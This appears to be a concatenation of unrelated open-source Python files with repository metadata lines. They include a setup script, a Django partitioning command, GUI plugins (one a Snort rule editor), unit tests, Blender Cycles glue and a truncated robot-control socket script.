self.setModelSorting(QCompleter.CaseInsensitivelySortedModel) # self.setCaseSensitivity(Qt.CaseInsensitive) # self.setWrapAround(False) # log_d('Instantiate CompleterWithData: OK') # #def changeCompletion(self, completion): # # if completion.find('(') != -1: # # completion = completion[:completion.find('(')] # # #print(completion) # # self.insertText.emit(completion) def return_tag_completer(parent=None): ns = gallerydb.add_method_queue(gallerydb.TagDB.get_all_ns, False) for t in gallerydb.add_method_queue(gallerydb.TagDB.get_all_tags, False): ns.append(t) comp = QCompleter(ns, parent) comp.setCaseSensitivity(Qt.CaseInsensitive) return comp from PyQt5.QtCore import QSortFilterProxyModel class DatabaseFilterProxyModel(QSortFilterProxyModel): """ A proxy model to hide items already in database Pass a tuple with entries to 'filters' param if you need a custom filter. """ def __init__(self, filters="", parent=None): super().__init__(parent) self.filters = tuple(filters) self.role = Qt.DisplayRole db_data = gallerydb.GalleryDB.get_all_gallery() filter_list = [] for gallery in db_data: p = os.path.split(gallery.path) filter_list.append(p[1]) self.filter_list = sorted(filter_list) #print('Instatiated') def set_name_role(self, role): self.role = role self.invalidateFilter() def filterAcceptsRow(self, source_row, index_parent): #print('Using') allow = False index = self.sourceModel().index(source_row, 0, index_parent) if self.sourceModel() and index.isValid(): allow = True name = index.data(self.role) if name.endswith(self.filters): if binary_search(name): #print('Hiding {}'.format(name)) allow = True return allow
peaceandpizza/happypanda
version/misc.py
Python
gpl-3.0
53,124
"""setuptools installer script for PyRSB.""" import os import setuptools from setuptools import setup, Extension from setuptools.command.build_ext import build_ext from time import gmtime, strftime if True: VERSION = "0.2.20210303" else: if os.environ.get("PYRSB_VERSION"): VERSION = os.environ.get("PYRSB_VERSION") else: VERSION = strftime("0.2.%Y%m%d%H%M%S", gmtime()) with open("README.md", "r") as fh: LONG_DESCRIPTION = fh.read() from numpy import get_include stream = os.popen("librsb-config --libdir") lib_dir = stream.read().strip() stream = os.popen("librsb-config --I_opts") inc_dir = stream.read().strip()[2:] INCLUDE_DIRS = [get_include(), inc_dir] LIB_DIRS = [lib_dir] setup( name="pyrsb", version=VERSION, author="Michele Martone", author_email="[email protected]", description="PyRSB: a Cython-based Python interface to librsb", long_description=LONG_DESCRIPTION, long_description_content_type="text/markdown", url="https://github.com/michelemartone/pyrsb", py_modules=['pyrsb'], project_urls={ "Bug Tracker": "https://github.com/michelemartone/pyrsb/issues", "Source Code": "https://github.com/michelemartone/pyrsb", }, classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+)", "Operating System :: OS Independent", # "Operating System :: POSIX :: Linux", ], ext_modules=[ Extension( "rsb", ["rsb.pyx", "librsb.pxd"], libraries=["rsb", "z", "hwloc", "gfortran"], library_dirs=LIB_DIRS, include_dirs=INCLUDE_DIRS, ) ], setup_requires=["numpy", "scipy"], install_requires=["numpy", "scipy"], cmdclass={"build_ext": build_ext}, # package_data = { '': ['rsb.pyx','*.py'] }, include_package_data=True, python_requires=">=3.7", )
michelemartone/pyrsb
setup.py
Python
gpl-3.0
1,979
from django.core.management.base import BaseCommand, CommandError from django.db import connection from tmv_app.models import * class Command(BaseCommand): help = 'copy doctopics' def handle(self, *args, **options): run_ids = list(RunStats.objects.all().order_by('run_id').values_list('run_id',flat=True)) run_ids = list(RunStats.objects.filter(run_id__gt=2714).order_by('run_id').values_list('run_id',flat=True)) p_runs = [] p_rows = 0 f_run = 0 row_max = 10000000 #n_rows = 372764866 for run_id in run_ids: if f_run ==0: f_run = run_id rrows = DocTopic.objects.filter(run_id=run_id).count() p_rows+=rrows p_runs.append(run_id) if (p_rows > row_max and len(p_runs) > 1) or run_id == run_ids[-1]: l_run = run_id pname = f"pt{f_run}_{l_run}" print("copying partion", pname, flush=True) try: connection.schema_editor().add_range_partition( model = DocTopicPartitioned, name = pname, from_values = f_run, to_values = l_run ) except: print("could not create partition", pname, flush=True) f_run = l_run p_rows = 0 p_runs = [] continue # if f_run>628: # connection.schema_editor().delete_partition( # model=DocTopicPartitioned, # name=pname, # ) q = f"(SELECT * FROM tmv_app_doctopic WHERE run_id >= {f_run} AND run_id < {l_run})" with connection.cursor() as cursor: cursor.execute(f"COPY {q} TO '/var/lib/postgresql/doctopic.gz' WITH (FORMAT 'binary');") #cursor.execute(f"INSERT INTO tmv_app_doctopicpartitioned_{pname} {q};") iq = f"COPY tmv_app_doctopicpartitioned_{pname} FROM '/var/lib/postgresql/doctopic.gz' WITH (FORMAT 'binary');" with connection.cursor() as cursor: cursor.execute(iq) f_run = l_run p_rows = 0 p_runs = []
mcallaghan/tmv
BasicBrowser/tmv_app/management/commands/partition_doctopic.py
Python
gpl-3.0
2,379
import random import numpy as np import pandas as pd import matplotlib.pyplot as plt def get_percentile(values, bucket_number): step = 100 / bucket_number return [np.percentile(values, i*step) for i in range(bucket_number)] def get_percentile_number(value, percentiles): i = 0 while value >= percentiles[i]: i += 1 if i == len(percentiles): break if i > 0: return i - 1 else: return i def value_equalization(value, percentiles, add_random=False): step = 1/len(percentiles) idx = get_percentile_number(value, percentiles) if add_random: return idx * step + random.uniform(0, step) else: return idx * step def values_equalization(values, percentiles, add_random=False): return [value_equalization(value, percentiles, add_random = add_random) for value in values] random.seed(0) #Считываем данные в массив numpy data = pd.read_csv("img.txt", sep = " ", header = None) data = np.array(data) #Создаём рандомные 100 строчек различными способами top100 = random.choice(data) random100 = np.array(random.sample(list(data), 100)) for i in range(99): top100 = np.vstack([top100, random.choice(data)]) #Создаём графики строчек plt.subplot(321) plt.imshow(top100, cmap = plt.get_cmap('gray')) plt.subplot(322) plt.imshow(random100, cmap = plt.get_cmap('gray')) #Создаём графики необработанных данных plt.subplot(323) plt.imshow(data, cmap = plt.get_cmap('gray')) plt.subplot(324) plt.hist(data.flatten()) #Эквализируем данные # for i in range(len(data)): # percentiles = get_percentile(data[i], 4) # if min(data[i]) > 0: #Ставим в начало 0, если все числа положительные # percentiles[0] = 0.0 # data[i] = values_equalization(data[i], percentiles[1:], add_random = True) percentiles = get_percentile(data.ravel(), 4) percentiles[0] = 0.0 for i in range(len(data)): data[i] = values_equalization(data[i], percentiles, add_random=True) print(data) plt.subplot(325) plt.imshow(data[130:140, 110:120], cmap = plt.get_cmap('gray')) plt.subplot(326) plt.hist(data.flatten()) #По гистограмме у меня вроде всё норм plt.show() data = data.flatten() print(data.mean())
lesina/labs2016
Laba06/exercise03.py
Python
gpl-3.0
2,388
# Copyright (C) 2013- Takafumi Arakaki # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import os import tempfile import shutil import json from ..config import ConfigStore from ..indexer import Indexer from ..utils.pathutils import mkdirp from .utils import BaseTestCase class TestIndexer(BaseTestCase): def setUp(self): self.base_path = tempfile.mkdtemp(prefix='rash-test-') self.cfstore = ConfigStore(self.base_path) def tearDown(self): shutil.rmtree(self.base_path) def get_indexer(self, keep_json=True, check_duplicate=True): return Indexer(self.cfstore, check_duplicate, keep_json) def prepare_records(self, **records): if set(records) > set(['command', 'init', 'exit']): raise ValueError( 'Unknown record type in {0}'.format(list(records))) paths = [] for (rectype, data_list) in records.items(): for (i, data) in enumerate(data_list): json_path = os.path.join(self.cfstore.record_path, rectype, '{0:05d}.json'.format(i)) mkdirp(os.path.dirname(json_path)) with open(json_path, 'w') as f: json.dump(data, f) paths.append(json_path) return paths def get_dummy_records(self, num_command=1, num_init=1, num_exit=1): gen = lambda i, **kwds: dict(session_id='SID-{0}'.format(i), **kwds) return dict( command=[gen(i, start=i, stop=i + 1) for i in range(num_command)], init=[gen(i, start=i) for i in range(num_init)], exit=[gen(i, stop=i) for i in range(num_exit)], ) def test_find_record_files(self): indexer = self.get_indexer() self.assertEqual(list(indexer.find_record_files()), []) desired_paths = self.prepare_records(**self.get_dummy_records()) actual_paths = list(indexer.find_record_files()) self.assertSetEqual(set(actual_paths), set(desired_paths)) def test_index_all_and_keep_json(self): desired_paths = self.prepare_records(**self.get_dummy_records()) indexer = self.get_indexer() indexer.index_all() actual_paths = list(indexer.find_record_files()) self.assertSetEqual(set(actual_paths), set(desired_paths)) def test_index_all_and_discard_json(self): self.prepare_records(**self.get_dummy_records()) indexer = self.get_indexer(keep_json=False) indexer.index_all() actual_paths = list(indexer.find_record_files()) self.assertEqual(actual_paths, [])
tkf/rash
rash/tests/test_indexer.py
Python
gpl-3.0
3,242
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright 2014 <+YOU OR YOUR COMPANY+>. # # This is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3, or (at your option) # any later version. # # This software is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this software; see the file COPYING. If not, write to # the Free Software Foundation, Inc., 51 Franklin Street, # Boston, MA 02110-1301, USA. # from gnuradio import gr, gr_unittest from gnuradio import blocks import drm_swig as drm class qa_add_tailbits_vbvb (gr_unittest.TestCase): def setUp (self): self.tb = gr.top_block () self.src = blocks.vector_source_b((1,1,0,1), True, 4) self.head = blocks.head(4,3) self.add_tailbits = drm.add_tailbits_vbvb(4,2) self.snk = blocks.vector_sink_b(6) self.tb.connect(self.src, self.head, self.add_tailbits, self.snk) def tearDown (self): self.tb = None def test_001_t (self): # set up fg self.tb.run () # check data self.assertTupleEqual(self.snk.data(), (1,1,0,1,0,0,1,1,0,1,0,0,1,1,0,1,0,0)) if __name__ == '__main__': gr_unittest.run(qa_add_tailbits_vbvb, "qa_add_tailbits_vbvb.xml")
marcusmueller/gr-drm
gr-drm/python/qa_add_tailbits_vbvb.py
Python
gpl-3.0
1,599
#!/usr/bin/env python # -*- coding: utf8 -*- #~####################################################################### #~ Copyright (c) 2010 Timur Timirkhanov <[email protected]> # #~ # #~ This file is part of FreQ-bot. # #~ # #~ FreQ-bot is free software: you can redistribute it and/or modify # #~ it under the terms of the GNU General Public License as published by # #~ the Free Software Foundation, either version 3 of the License, or # #~ (at your option) any later version. # #~ # #~ FreQ-bot is distributed in the hope that it will be useful, # #~ but WITHOUT ANY WARRANTY; without even the implied warranty of # #~ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # #~ GNU General Public License for more details. # #~ # #~ You should have received a copy of the GNU General Public License # #~ along with FreQ-bot. If not, see <http://www.gnu.org/licenses/>. # #~####################################################################### def m_parse(text): text = text.strip() if text.count('|'): n = text.find('|') return (text[:n], text[n+1:]) else: return (text, '') def invite_handler(t, s, p): if p: p, reason = m_parse(p) if not p.count('@'): s.lmsg(t, 'whom?') else: if reason=='': reason = u'Вас приглашает '+s.nick msg=domish.Element((None, 'message')) msg.addUniqueId() msg['to']=s.room.jid Invite=domish.Element((None, 'invite')) Invite['to']=p Invite.addElement('reason', content=reason) xchild=msg.addElement('x', 'http://jabber.org/protocol/muc#user') xchild.addChild(Invite) bot.wrapper.send(msg) s.msg(t, u'Призван') else: s.syntax(t, 'kick') bot.register_cmd_handler(invite_handler, '.invite', 7, 1)
TLemur/freq-bot
src/plugins/muc_admin/invite.py
Python
gpl-3.0
2,134
# FRA 213.53 Gage full_name = "FRA Class I" short_name = "I" min_gauge = 56.0 standard_gauge = 56.5 max_gauge = 58.0
cpn18/track-chart
desktop/class_i.py
Python
gpl-3.0
119
# -*- coding: utf-8 -*- #!/usr/bin/env python __author__ = 'ifontarensky' __docformat__ = 'restructuredtext' __version__ = '0.9' plugin_class = 'Editor' plugin_name = 'SnortEditor' import os from PyQt4 import QtCore, QtGui from PyQt4.QtCore import (QObject, Qt, QDir, SIGNAL, SLOT) from ruleeditor.plugins.codeeditor.codeeditor import CodeEditor as SnortCodeEditor from ruleeditor.plugins.snorteditor.highlighter import SnortHighlighter from ruleeditor.plugins.snorteditor.icons import SNORT_XPM from ruleeditor.core.REPlugin import REPlugin from PyQt4.QtCore import QThread try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: _fromUtf8 = lambda s: s class Editor(REPlugin): def __init__(self): self.icon = QtGui.QIcon(QtGui.QPixmap(SNORT_XPM)) self.openedfile=dict() self.version = __version__ def setupPlugin(self, tabContent): """ Setup variable :param tabContent: :return: """ self.tabContent = tabContent def allowFormat(self): """ All format supported :return: List of Supported format """ return [".rules", ".snort"] def isSupported(self, path): """ Return if the path can be support by this Editor :param path: :return: Boolean """ return os.path.splitext(path)[1] in self.allowFormat() def loadFile(self,path): if not QtCore.QFile.exists(path): return False fh = QtCore.QFile(path) if not fh.open(QtCore.QFile.ReadOnly): return False data = fh.readAll() codec = QtCore.QTextCodec.codecForHtml(data) unistr = codec.toUnicode(data) if QtCore.Qt.mightBeRichText(unistr): doc = QtGui.QTextDocument() doc.setHtml(unistr) text = doc.toPlainText() unistr = text self.add_instance(path) inst = self.get_instance(path) self.setupUi(inst) position = self.tabContent.addTab(inst.tab, _fromUtf8(path)) inst.tab.setObjectName(_fromUtf8(path)) inst.snortEdit.setPlainText(unistr) self.tabContent.setCurrentIndex(position) self.tabContent.setTabIcon(position, self.icon) return True def newFile(self, path): """ New File :return: """ self.add_instance(path) inst = self.get_instance(path) self.setupUi(inst) position = self.tabContent.addTab(inst.tab, _fromUtf8(path)) inst.tab.setObjectName(_fromUtf8(path)) self.tabContent.setCurrentIndex(position) def get_document(self, path): """ :return: """ return self.get_instance(path).snortEdit.document() def get_instance(self,path): """ Get all data for on file :param path: :return: """ return self.openedfile[path] def get_icon(self): return self.icon def fileSave(self, path, document): with open(path, 'w') as handle: handle.write(str(document.toPlainText())) document.setModified(False) return True def fileSaveAs(self, document): fn = QtGui.QFileDialog.getSaveFileName(self.tabContent, "Save as...", None, "Snort files (*.rules *snort);;HTML-Files (*.htm *.html);;All Files (*)") if not fn: return False lfn = fn.lower() if not lfn.endswith(('.rules', '.snort', '.htm', '.html')): # The default. fn += '.rules' if self.fileSave(fn, document): return fn else: return None def setupUi(self, inst): inst.tab = QtGui.QWidget() inst.tab.setObjectName(_fromUtf8("Untitled Snort")) index = self.tabContent.addTab(inst.tab, _fromUtf8("Untitled Snort")) self.tabContent.setCurrentIndex(index) self.tabContent.setTabIcon(index, self.get_icon()) inst.widgetEditor = inst.tab inst.globalLayout = QtGui.QVBoxLayout(inst.widgetEditor) inst.globalLayout.setMargin(0) inst.globalLayout.setObjectName(_fromUtf8("globalLayout")) inst.snortEdit = SnortCodeEditor(inst.widgetEditor) inst.snortEdit.setObjectName(_fromUtf8("snortEdit")) inst.globalLayout.addWidget(inst.snortEdit) inst.widgetEditor.setAcceptDrops(True) allStrings = ["msg", "reference", "gid", "sid", "rev", "classtype", "priority", "metadata", "content", "nocase", "rawbytes", "depth", "offset", "distance", "within", "http_client_body", "http_cookie", "http_raw_cookie", "http_header", "http_raw_header", "http_method", "http_uri", "http_raw_uri", "http_stat_code", "http_stat_msg", "fast_pattern", "uricontent", "urilen", "isdataat", "pcre", "pkt_data", "file_data", "base64_decode", "base64_data", "byte_test", "byte_jump", "byte_extract", "ftpbounce", "asn1", "cvs", "dce_iface", "dce_opnum", "dce_stub_data", "sip_method", "sip_stat_code", "sip_header", "sip_body", "gtp_type", "gtp_info", "gtp_version", "ssl_version", "ssl_state", "fragoffset", "ttl", "tos", "id", "ipopts", "fragbits", "dsize", "flags", "flow", "flowbits", "seq", "ack", "window", "itype", "icode", "icmp_id", "icmp_seq", "rpc", "ip_proto", "sameip", "stream_reassemble", "stream_size", "logto", "session", "resp", "react", "tag", "activates", "activated_by", "count", "replace", "detection_filter", "threshold", "activate", "alert", "drop", "dynamic", "log", "pass", "reject", "sdrop", "sblock"] completer = QtGui.QCompleter(allStrings) completer.setCaseSensitivity(Qt.CaseInsensitive) completer.setWrapAround(False) inst.snortEdit.setCompleter(completer) #Create our SnortHighlighter derived from QSyntaxHighlighter inst.highlighter = SnortHighlighter(inst.snortEdit.document())
ifontarensky/RuleEditor
source/ruleeditor/plugins/snorteditor/snorteditor.py
Python
gpl-3.0
6,360
# -*- Mode: Python; coding: utf-8; indent-tabs-mode: nil; tab-width: 4 -*- ####################################################################### # Pinytodo - A Pinyto synced ToDo-List for Gtk+ # Copyright (C) 2105 Johannes Merkert <[email protected]> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. ####################################################################### ### DO NOT EDIT THIS FILE ### '''Enhances builder connections, provides object to access glade objects''' from gi.repository import GObject, Gtk # pylint: disable=E0611 import inspect import functools import logging logger = logging.getLogger('pinyto_desktop_todo_lib') from xml.etree.cElementTree import ElementTree # this module is big so uses some conventional prefixes and postfixes # *s list, except self.widgets is a dictionary # *_dict dictionary # *name string # ele_* element in a ElementTree # pylint: disable=R0904 # the many public methods is a feature of Gtk.Builder class Builder(Gtk.Builder): ''' extra features connects glade defined handler to default_handler if necessary auto connects widget to handler with matching name or alias auto connects several widgets to a handler via multiple aliases allow handlers to lookup widget name logs every connection made, and any on_* not made ''' def __init__(self): Gtk.Builder.__init__(self) self.widgets = {} self.glade_handler_dict = {} self.connections = [] self._reverse_widget_dict = {} # pylint: disable=R0201 # this is a method so that a subclass of Builder can redefine it def default_handler(self, handler_name, filename, *args, **kwargs): '''helps the apprentice guru glade defined handlers that do not exist come here instead. An apprentice guru might wonder which signal does what he wants, now he can define any likely candidates in glade and notice which ones get triggered when he plays with the project. this method does not appear in Gtk.Builder''' logger.debug('''tried to call non-existent function:%s() expected in %s args:%s kwargs:%s''', handler_name, filename, args, kwargs) # pylint: enable=R0201 def get_name(self, widget): ''' allows a handler to get the name (id) of a widget this method does not appear in Gtk.Builder''' return self._reverse_widget_dict.get(widget) def add_from_file(self, filename): '''parses xml file and stores wanted details''' Gtk.Builder.add_from_file(self, filename) # extract data for the extra interfaces tree = ElementTree() tree.parse(filename) ele_widgets = tree.getiterator("object") for ele_widget in ele_widgets: name = ele_widget.attrib['id'] widget = self.get_object(name) # populate indexes - a dictionary of widgets self.widgets[name] = widget # populate a reversed dictionary self._reverse_widget_dict[widget] = name # populate connections list ele_signals = ele_widget.findall("signal") connections = [ (name, ele_signal.attrib['name'], ele_signal.attrib['handler']) for ele_signal in ele_signals] if connections: self.connections.extend(connections) ele_signals = tree.getiterator("signal") for ele_signal in ele_signals: self.glade_handler_dict.update( {ele_signal.attrib["handler"]: None}) def connect_signals(self, callback_obj): '''connect the handlers defined in glade reports successful and failed connections and logs call to missing handlers''' filename = inspect.getfile(callback_obj.__class__) callback_handler_dict = dict_from_callback_obj(callback_obj) connection_dict = {} connection_dict.update(self.glade_handler_dict) connection_dict.update(callback_handler_dict) for item in connection_dict.items(): if item[1] is None: # the handler is missing so reroute to default_handler handler = functools.partial( self.default_handler, item[0], filename) connection_dict[item[0]] = handler # replace the run time warning logger.warn("expected handler '%s' in %s", item[0], filename) # connect glade define handlers Gtk.Builder.connect_signals(self, connection_dict) # let's tell the user how we applied the glade design for connection in self.connections: widget_name, signal_name, handler_name = connection logger.debug("connect builder by design '%s', '%s', '%s'", widget_name, signal_name, handler_name) def get_ui(self, callback_obj=None, by_name=True): '''Creates the ui object with widgets as attributes connects signals by 2 methods this method does not appear in Gtk.Builder''' result = UiFactory(self.widgets) # Hook up any signals the user defined in glade if callback_obj is not None: # connect glade define handlers self.connect_signals(callback_obj) if by_name: auto_connect_by_name(callback_obj, self) return result # pylint: disable=R0903 # this class deliberately does not provide any public interfaces # apart from the glade widgets class UiFactory(): ''' provides an object with attributes as glade widgets''' def __init__(self, widget_dict): self._widget_dict = widget_dict for (widget_name, widget) in widget_dict.items(): setattr(self, widget_name, widget) # Mangle any non-usable names (like with spaces or dashes) # into pythonic ones cannot_message = """cannot bind ui.%s, name already exists consider using a pythonic name instead of design name '%s'""" consider_message = """consider using a pythonic name instead of design name '%s'""" for (widget_name, widget) in widget_dict.items(): pyname = make_pyname(widget_name) if pyname != widget_name: if hasattr(self, pyname): logger.debug(cannot_message, pyname, widget_name) else: logger.debug(consider_message, widget_name) setattr(self, pyname, widget) def iterator(): '''Support 'for o in self' ''' return iter(widget_dict.values()) setattr(self, '__iter__', iterator) def __getitem__(self, name): 'access as dictionary where name might be non-pythonic' return self._widget_dict[name] # pylint: enable=R0903 def make_pyname(name): ''' mangles non-pythonic names into pythonic ones''' pyname = '' for character in name: if (character.isalpha() or character == '_' or (pyname and character.isdigit())): pyname += character else: pyname += '_' return pyname # Until bug https://bugzilla.gnome.org/show_bug.cgi?id=652127 is fixed, we # need to reimplement inspect.getmembers. GObject introspection doesn't # play nice with it. def getmembers(obj, check): members = [] for k in dir(obj): try: attr = getattr(obj, k) except: continue if check(attr): members.append((k, attr)) members.sort() return members def dict_from_callback_obj(callback_obj): '''a dictionary interface to callback_obj''' methods = getmembers(callback_obj, inspect.ismethod) aliased_methods = [x[1] for x in methods if hasattr(x[1], 'aliases')] # a method may have several aliases #~ @alias('on_btn_foo_clicked') #~ @alias('on_tool_foo_activate') #~ on_menu_foo_activate(): #~ pass alias_groups = [(x.aliases, x) for x in aliased_methods] aliases = [] for item in alias_groups: for alias in item[0]: aliases.append((alias, item[1])) dict_methods = dict(methods) dict_aliases = dict(aliases) results = {} results.update(dict_methods) results.update(dict_aliases) return results def auto_connect_by_name(callback_obj, builder): '''finds handlers like on_<widget_name>_<signal> and connects them i.e. find widget,signal pair in builder and call widget.connect(signal, on_<widget_name>_<signal>)''' callback_handler_dict = dict_from_callback_obj(callback_obj) for item in builder.widgets.items(): (widget_name, widget) = item signal_ids = [] try: widget_type = type(widget) while widget_type: signal_ids.extend(GObject.signal_list_ids(widget_type)) widget_type = GObject.type_parent(widget_type) except RuntimeError: # pylint wants a specific error pass signal_names = [GObject.signal_name(sid) for sid in signal_ids] # Now, automatically find any the user didn't specify in glade for sig in signal_names: # using convention suggested by glade sig = sig.replace("-", "_") handler_names = ["on_%s_%s" % (widget_name, sig)] # Using the convention that the top level window is not # specified in the handler name. That is use # on_destroy() instead of on_windowname_destroy() if widget is callback_obj: handler_names.append("on_%s" % sig) do_connect(item, sig, handler_names, callback_handler_dict, builder.connections) log_unconnected_functions(callback_handler_dict, builder.connections) def do_connect(item, signal_name, handler_names, callback_handler_dict, connections): '''connect this signal to an unused handler''' widget_name, widget = item for handler_name in handler_names: target = handler_name in callback_handler_dict.keys() connection = (widget_name, signal_name, handler_name) duplicate = connection in connections if target and not duplicate: widget.connect(signal_name, callback_handler_dict[handler_name]) connections.append(connection) logger.debug("connect builder by name '%s','%s', '%s'", widget_name, signal_name, handler_name) def log_unconnected_functions(callback_handler_dict, connections): '''log functions like on_* that we could not connect''' connected_functions = [x[2] for x in connections] handler_names = callback_handler_dict.keys() unconnected = [x for x in handler_names if x.startswith('on_')] for handler_name in connected_functions: try: unconnected.remove(handler_name) except ValueError: pass for handler_name in unconnected: logger.debug("Not connected to builder '%s'", handler_name)
Pinyto/pinytodo
pinyto_desktop_todo_lib/Builder.py
Python
gpl-3.0
11,625
# # Copyright 2011-2013 Blender Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License # # <pep8 compliant> def init(): import bpy import _cycles import os.path path = os.path.dirname(__file__) user_path = os.path.dirname(os.path.abspath(bpy.utils.user_resource('CONFIG', ''))) _cycles.init(path, user_path) def create(engine, data, scene, region=0, v3d=0, rv3d=0, preview_osl=False): import bpy import _cycles data = data.as_pointer() userpref = bpy.context.user_preferences.as_pointer() scene = scene.as_pointer() if region: region = region.as_pointer() if v3d: v3d = v3d.as_pointer() if rv3d: rv3d = rv3d.as_pointer() engine.session = _cycles.create(engine.as_pointer(), userpref, data, scene, region, v3d, rv3d, preview_osl) def free(engine): if hasattr(engine, "session"): if engine.session: import _cycles _cycles.free(engine.session) del engine.session def render(engine): import _cycles if hasattr(engine, "session"): _cycles.render(engine.session) def reset(engine, data, scene): import _cycles data = data.as_pointer() scene = scene.as_pointer() _cycles.reset(engine.session, data, scene) def update(engine, data, scene): import _cycles _cycles.sync(engine.session) def draw(engine, region, v3d, rv3d): import _cycles v3d = v3d.as_pointer() rv3d = rv3d.as_pointer() # draw render image _cycles.draw(engine.session, v3d, rv3d) def available_devices(): import _cycles return _cycles.available_devices() def with_osl(): import _cycles return _cycles.with_osl
cschenck/blender_sim
fluid_sim_deps/blender-2.69/2.69/scripts/addons/cycles/engine.py
Python
gpl-3.0
2,191
import cv2 import requests import time from socket import * from vision.LocalisationTresor import LocalisationTresor from ControleurPololu import ControleurPololu from Cameras.CameraRobot import CameraRobot from source.Decodeur import Decodeur from vision.Ajustement import Ajustement from ControlleurDeplacement import ControlleurDeplacement IpServeur = '0.0.0.0' port = 50007 buf = 1024 if __name__ == '__main__': ajustement = Ajustement() cameraRobot = CameraRobot() controleurCamera = ControleurPololu() localisationTresor = LocalisationTresor() decodeur = Decodeur() controleurDeplacement = ControlleurDeplacement() positionTresor = [0,0] coteDeTableAvecTresor = 0 distanceAAvance = 0 distanceTresor = 5000 orientationRobot = 0 orientationCamera = 0 positionXRobot = 0 positionYRobot = 0 tempsAttente = 1 voltageRestant = 0 addresse = (IpServeur, port) UDPSock = socket(AF_INET, SOCK_STREAM) UDPSock.bind((IpServeur, port)) UDPSock.listen(1) psockfd, addresse = UDPSock.accept() while True: data = psockfd.recv(buf) data = data.decode('utf-8') #aller chercher le voltage voltageText = str(voltageRestant) while len(voltageText) < 3: voltageText = '0' + voltageText if data[0] == '1': angleOrientation = int(data[1] + data[2] + data[3] + data[4]) if angleOrientation < 180: controleurDeplacement.rotationAHoraire(angleOrientation, 0.5) else: angleOrientation = 360 - angleOrientation controleurDeplacement.rotationHoraire(angleOrientation, 0.5) cv2.waitKey(tempsAttente) distanceAAvance = int(data[5] + data[6] + data[7]) controleurDeplacement.avancer(distanceAAvance, 0.3) cv2.waitKey(tempsAttente) retour = 'fini' + voltageText elif data[0] == '2': angleCamera = 0 orientationRobot = int(data[1]+data[2]+data[3]) positionXRobot = int(data[4]+data[5]+data[6]+data[7]) positionYRobot = int(data[8]+data[9]+data[10]+data[11]) repereX = int(data[12]+data[13]+data[14]+data[15]) repereY = int(data[16]+data[17]+data[18]+data[19]) ratioCMPixel = float(data[20] + data[21] + data[22] + data[23]) controleurCamera.set_camera_angle_y(40) while distanceTresor == 5000: while angleCamera <= 180: controleurCamera.set_camera_angle_x(angleCamera) time.sleep(0.25) photo = cameraRobot.prendrePhoto() anglePhysique = 90 + (angleCamera - 90)/2 position, distancetemp,coteTemp = localisationTresor.trouverTresorParRobot(photo, orientationRobot, anglePhysique, positionXRobot, positionYRobot, repereX, repereY, ratioCMPixel) time.sleep(1) if distancetemp < distanceTresor and position[0] > 0: distanceTresor = distancetemp positionTresor = position coteDeTableAvecTresor = coteTemp angleCamera += 45 if distanceTresor == 5000: angleCamera = 0 orientationRobot = orientationRobot + 45 controleurDeplacement.rotationHoraire(45,0.5) time.sleep(2) positionTresor = list(positionTresor) positionTresor[0] = int(positionTresor[0]) positionTresor[1] = int(positionTresor[1]) retour = str(positionTresor[0]) + ' ' + str(positionTresor[1]) + voltageText elif data[0] == '3': largeurTable = 111 reponse = '' orientationRobot = int(data[1]+data[2]+data[3]) positionXRobot = int(data[4]+data[5]+data[6]+data[7]) positionYRobot = int(data[8]+data[9]+data[10]+data[11]) repereX = int(data[12]+data[13]+data[14]+data[15]) repereY = int(data[16]+data[17]+data[18]+data[19]) ratioCMPixel = float(data[20] + data[21] + data[22] + data[23]) code = decodeur.demanderCode() angleOrientation = 90 - orientationRobot if angleOrientation < 0: angleOrientation = abs(360 - angleOrientation) if angleOrientation < 180: controleurDeplacement.rotationAHoraire(angleOrientation, 0.5) else: angleOrientation = abs(360 - angleOrientation) controleurDeplacement.rotationHoraire(angleOrientation, 0.5) controleurCamera.set_camera_angle_x(90) controleurCamera.set_camera_angle_y(20) photo = cameraRobot.prendrePhoto() cv2.imshow('photo',photo) cv2.waitKey(0) distanceAjuste = 1000 distanceAStation = 0 while distanceAjuste > 30: distanceAjuste,distanceAStation = ajustement.determineAjustement(photo, 90, positionXRobot, positionYRobot, repereX, repereY, ratioCMPixel) if distanceAjuste < 0: controleurDeplacement.gauche(distanceAjuste * ratioCMPixel, 0.3) else: controleurDeplacement.droite(distanceAjuste * ratioCMPixel, 0.3) direction = orientationRobot % 180 erreurAngle = 30 piAngle = 90 if direction < erreurAngle and direction > -erreurAngle: positionYRobot = positionYRobot - distanceAjuste elif direction < piAngle + erreurAngle and direction > piAngle - erreurAngle: positionXRobot = positionXRobot - distanceAjuste if distanceAStation < 0: distanceAStation = abs(distanceAStation) controleurDeplacement.avancer(distanceAStation * ratioCMPixel, 0.3) #Activer Chargement demande = 'https://192.168.1.2/?code=' + code while reponse == '': try: reponse = requests.get(demande, 443, verify=False) except: reponse = '' retour = reponse.text + voltageText elif data[0] == '4': largeurTable = 111 reponse = '' orientationRobot = 